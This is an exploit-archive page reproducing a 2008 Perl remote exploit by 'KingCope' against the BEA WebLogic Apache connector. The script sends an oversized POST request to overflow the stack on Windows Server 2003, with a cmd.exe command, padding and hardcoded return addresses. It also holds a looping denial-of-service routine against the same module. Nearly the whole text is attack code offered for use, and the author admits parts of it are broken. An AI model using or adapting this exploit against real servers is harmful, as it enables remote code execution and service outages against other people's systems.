Home / exploitsPDF  

beaweblogic-exec.txt

Posted on 18 July 2008

#// Bea Weblogic -- Apache Connector Remote Exploit +-1day #// Should stack break latest Windows Server 2003 <address space randomization> #// BIG THANKS TO #// "dong-hun you"(Xpl017Elz) in INetCop - for his paper #// "Title: Advanced exploitation in exec-shield (Fedora Core case study)" #// His technique works fine against Windows 2003 latest version. #// #// The code is broken, since I am chilling out for now #// SKIDDI BULLETPROOF #// You may fixup the DoS Code, Windows Code Works on English OSs #// KingCope -- July/2008 use IO::Socket; use strict; $|=1; my $apacheport = 80; #// Touch ### my $wrongusage = 0; my $dodoshost = 0; ############################################################################### ### Target List Entries |Operating System and Patch Level / Kernel Version| ############################################################################### my @targets = (); my @tgtname = (); print "-" x 80; $targets[0] = "1 Windows Server 2003 Enterprise Edition SP2 RC1 -- English "; $tgtname[0] = $targets[0]; $targets[100] = "2 Denial of Service "; $tgtname[100] = $targets[100]; ############################################################################### ### Print Of Target List And Usage ############################################################################### print " "; print "Bea Weblogic -- Apache Connector Remote Exploit "; print "Target List: "; foreach my $target (@targets) { print $target; } print " "; print "-" x 80; print "Usage: perl bea-unlock.pl <hostname or ip> <target>"; print " "; printusage: if ($wrongusage == 1) { exit; } ################################################################################ ### Argument Parsing ################################################################################ my $host = $ARGV[0]; my $target = $ARGV[1]; if (($host == "") || ($target == "")) { $wrongusage = 1; goto printusage; } ################################################################################ ### Setup Socket ################################################################################ setupsocket: my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $apacheport, Proto => 'tcp'); if ($dodoshost == 1) { goto doshost; } ################################################################################ ### Select Target ################################################################################ if ($target == 1) { print "Exploiting $host -- " . $tgtname[$target-1]; goto winexpl; } if ($target == 2) { print "Attacking Host $host -- Denial of Service -- Wait ... "; goto doshost; } ################################################################################ ### Exploitation of Windows Versions ################################################################################ winexpl: ####WORKS [LOOKUP THE HOSTNAME] my $command = "echo works > c:\desiredfile.txt"; my $cmds = "cmd.exe /c "$command"|"; my $sc = $cmds; #### STACKBREAKING WITH WINEXEC() ON WINDOWS my $c = "C" x 97 . pack("L", 0x10013930) x 3 . pack("L", 0x10013930) . pack("L", 0x10013931) . pack("L",0x77EA411E); my $a = $cmds . "A" x (4000-length($cmds)) . $c; print $sock "POST /.jsp $a Host: localhost "; while (<$sock>) { print; } ################################################################################ ### Denial of Service Against The Apache Frontend Module For Bea Weblogic ################################################################################ ####NEEDS SOME FIXUP doshost: $dodoshost = 1; while(1) { $a = "A" x 6000; goto setupsocket; print $sock "POST /.jsp $a Host: localhost "; while(read($sock,$_,100)) { my $dosagain = 0; if ($dosagain eq 1) { "Server is down now "; exit; } if ($_ =~ /Server/) { print "."; $dosagain = 1; next; } } }

 

TOP